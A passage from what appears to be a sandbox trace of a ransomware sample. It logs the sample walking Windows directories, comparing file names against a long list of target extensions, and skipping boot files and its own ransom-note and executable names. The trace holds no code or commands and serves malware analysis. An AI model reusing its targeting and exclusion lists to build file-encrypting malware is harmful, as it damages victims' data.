returned 5 [0034.401] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0034.401] lstrlenW (lpString=".flm") returned 4 [0034.401] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".flv") returned 4 [0034.401] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".frm") returned 4 [0034.401] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".fxg") returned 4 [0034.401] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".geo") returned 4 [0034.401] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".gif") returned 4 [0034.401] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0034.401] lstrlenW (lpString=".grs") returned 4 [0034.401] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".gz") returned 3 [0034.402] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0034.402] lstrlenW (lpString=".h") returned 2 [0034.402] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0034.402] lstrlenW (lpString=".hdr") returned 4 [0034.402] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".hpp") returned 4 [0034.402] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".hta") returned 4 [0034.402] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".htc") returned 4 [0034.402] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".htm") returned 4 [0034.402] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".html") returned 5 [0034.402] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0034.402] lstrlenW (lpString=".icb") returned 4 [0034.402] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".ics") returned 4 [0034.402] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".iff") returned 4 [0034.402] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".inc") returned 4 [0034.402] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0034.402] lstrlenW (lpString=".indd") returned 5 [0034.402] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0034.402] lstrlenW (lpString=".ini") returned 4 [0034.402] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0034.402] lstrlenW (lpString="desktop.ini") returned 11 [0034.402] lstrlenW (lpString=".Q1G") returned 4 [0034.402] lstrcmpiW (lpString1=".Q1G", lpString2=".ini") returned 1 [0034.402] lstrlenW (lpString="desktop.ini") returned 11 [0034.402] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0034.402] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0034.403] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0034.403] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0034.403] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0034.403] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0034.403] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0034.403] lstrcmpiW (lpString1="uyuquk.exe", lpString2="desktop.ini") returned 1 [0034.403] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.403] FindNextFileW (in: hFindFile=0x37712c0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0034.403] FindClose (in: hFindFile=0x37712c0 | out: hFindFile=0x37712c0) returned 1 [0034.403] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x37612b8 | out: hHeap=0x510000) returned 1 [0034.403] FindNextFileW (in: hFindFile=0x3760270, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0034.403] FindClose (in: hFindFile=0x3760270 | out: hFindFile=0x3760270) returned 1 [0034.403] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3750268 | out: hHeap=0x510000) returned 1 [0034.403] FindNextFileW (in: hFindFile=0x59e208, lpFindFileData=0x2effd00 | out: lpFindFileData=0x2effd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0034.403] lstrlenW (lpString="C:\\Boot") returned 7 [0034.403] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0034.403] lstrlenW (lpString="Boot") returned 4 [0034.403] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0034.403] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3750268 [0034.403] lstrlenW (lpString="C:\\Boot") returned 7 [0034.403] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5684f8 [0034.404] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.404] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0034.404] lstrlenW (lpString="BCD") returned 3 [0034.404] lstrlenW (lpString=".1cd") returned 4 [0034.404] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".3ds") returned 4 [0034.404] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".3fr") returned 4 [0034.404] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".3g2") returned 4 [0034.404] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".3gp") returned 4 [0034.404] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".7z") returned 3 [0034.404] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0034.404] lstrlenW (lpString=".accda") returned 6 [0034.404] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".accdb") returned 6 [0034.404] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".accdc") returned 6 [0034.404] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".accde") returned 6 [0034.404] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".accdt") returned 6 [0034.404] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0034.404] lstrlenW (lpString=".accdw") returned 6 [0034.405] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".adb") returned 4 [0034.405] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".adp") returned 4 [0034.405] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai") returned 3 [0034.405] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0034.405] lstrlenW (lpString=".ai3") returned 4 [0034.405] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai4") returned 4 [0034.405] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai5") returned 4 [0034.405] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai6") returned 4 [0034.405] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai7") returned 4 [0034.405] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ai8") returned 4 [0034.405] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".anim") returned 5 [0034.405] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".arw") returned 4 [0034.405] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".as") returned 3 [0034.405] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0034.405] lstrlenW (lpString=".asa") returned 4 [0034.405] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".asc") returned 4 [0034.405] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".ascx") returned 5 [0034.405] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".asm") returned 4 [0034.405] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0034.405] lstrlenW (lpString=".asmx") returned 5 [0034.406] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".asp") returned 4 [0034.406] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".aspx") returned 5 [0034.406] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".asr") returned 4 [0034.406] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".asx") returned 4 [0034.406] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".avi") returned 4 [0034.406] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".avs") returned 4 [0034.406] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".backup") returned 7 [0034.406] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".bak") returned 4 [0034.406] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".bay") returned 4 [0034.406] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".bd") returned 3 [0034.406] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0034.406] lstrlenW (lpString=".bin") returned 4 [0034.406] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".bmp") returned 4 [0034.406] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".bz2") returned 4 [0034.406] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".c") returned 2 [0034.406] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0034.406] lstrlenW (lpString=".cdr") returned 4 [0034.406] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".cer") returned 4 [0034.406] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0034.406] lstrlenW (lpString=".cf") returned 3 [0034.407] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0034.407] lstrlenW (lpString=".cfc") returned 4 [0034.407] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cfm") returned 4 [0034.407] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cfml") returned 5 [0034.407] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cfu") returned 4 [0034.407] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".chm") returned 4 [0034.407] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cin") returned 4 [0034.407] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".class") returned 6 [0034.407] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".clx") returned 4 [0034.407] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".config") returned 7 [0034.407] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cpp") returned 4 [0034.407] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cr2") returned 4 [0034.407] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".crt") returned 4 [0034.407] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".crw") returned 4 [0034.407] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".cs") returned 3 [0034.407] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0034.407] lstrlenW (lpString=".css") returned 4 [0034.407] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0034.407] lstrlenW (lpString=".csv") returned 4 [0034.407] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".cub") returned 4 [0034.408] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dae") returned 4 [0034.408] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dat") returned 4 [0034.408] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".db") returned 3 [0034.408] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0034.408] lstrlenW (lpString=".dbf") returned 4 [0034.408] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dbx") returned 4 [0034.408] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dc3") returned 4 [0034.408] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dcm") returned 4 [0034.408] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dcr") returned 4 [0034.408] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".der") returned 4 [0034.408] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dib") returned 4 [0034.408] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dic") returned 4 [0034.408] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dif") returned 4 [0034.408] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".divx") returned 5 [0034.408] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".djvu") returned 5 [0034.408] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".dng") returned 4 [0034.408] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0034.408] lstrlenW (lpString=".doc") returned 4 [0034.408] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".docm") returned 5 [0034.409] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".docx") returned 5 [0034.409] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dot") returned 4 [0034.409] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dotm") returned 5 [0034.409] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dotx") returned 5 [0034.409] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dpx") returned 4 [0034.409] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dqy") returned 4 [0034.409] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dsn") returned 4 [0034.409] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dt") returned 3 [0034.409] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0034.409] lstrlenW (lpString=".dtd") returned 4 [0034.409] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dwg") returned 4 [0034.409] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dwt") returned 4 [0034.409] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".dx") returned 3 [0034.409] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0034.409] lstrlenW (lpString=".dxf") returned 4 [0034.409] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".edml") returned 5 [0034.409] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".efd") returned 4 [0034.409] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0034.409] lstrlenW (lpString=".elf") returned 4 [0034.409] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".emf") returned 4 [0034.410] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".emz") returned 4 [0034.410] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".epf") returned 4 [0034.410] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".eps") returned 4 [0034.410] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".epsf") returned 5 [0034.410] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".epsp") returned 5 [0034.410] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".erf") returned 4 [0034.410] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".exr") returned 4 [0034.410] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".f4v") returned 4 [0034.410] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0034.410] lstrlenW (lpString=".fido") returned 5 [0034.410] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".geo", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".gif", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".grs", lpString2="") returned 1 [0034.410] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1 [0034.411] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1 [0034.411] lstrcmpiW (lpString1=".hdr", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".hpp", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".hta", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".htc", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".htm", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".html", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".icb", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".ics", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".iff", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".inc", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".indd", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".ini", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".iqy", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".j2c", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".j2k", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".java", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jp2", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jpc", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jpe", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jpeg", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jpf", lpString2="") returned 1 [0034.411] lstrcmpiW (lpString1=".jpg", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".jpx", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".js", lpString2="BCD") returned -1 [0034.412] lstrcmpiW (lpString1=".jsf", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".json", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".jsp", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".kdc", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".kmz", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".kwm", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".lasso", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".lbi", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".lgf", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".lgp", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".log", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".m1v", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".m4a", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".m4v", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".max", lpString2="") returned 1 [0034.412] lstrcmpiW (lpString1=".md", lpString2="BCD") returned -1 [0034.412] lstrcmpiW (lpString1=".mda", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mdb", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mde", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mdf", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mdw", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mef", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mft", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mfw", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mht", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mka", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mkv", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mos", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mov", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mp3", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mp4", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mpeg", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mpg", lpString2="") returned 1 [0034.413] lstrcmpiW (lpString1=".mpv", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".mrw", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".msg", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".mxl", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".myd", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".myi", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".nef", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".nrw", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".obj", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".odb", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".odc", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".odm", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".odp", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".ods", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".oft", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".one", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".opt", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".oqy", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".orf", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".p12", lpString2="") returned 1 [0034.414] lstrcmpiW (lpString1=".p7b", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".p7c", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pam", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pbm", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pct", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pcx", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pdd", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pdf", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pdp", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pef", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pem", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pff", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pfm", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pfx", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pgm", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".php", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".php3", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".php4", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".php5", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pict", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1 [0034.415] lstrcmpiW (lpString1=".pls", lpString2="") returned 1 [0034.415] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1 [0034.416] lstrcmpiW (lpString1=".png", lpString2="") returned 1 [0034.416] lstrcmpiW 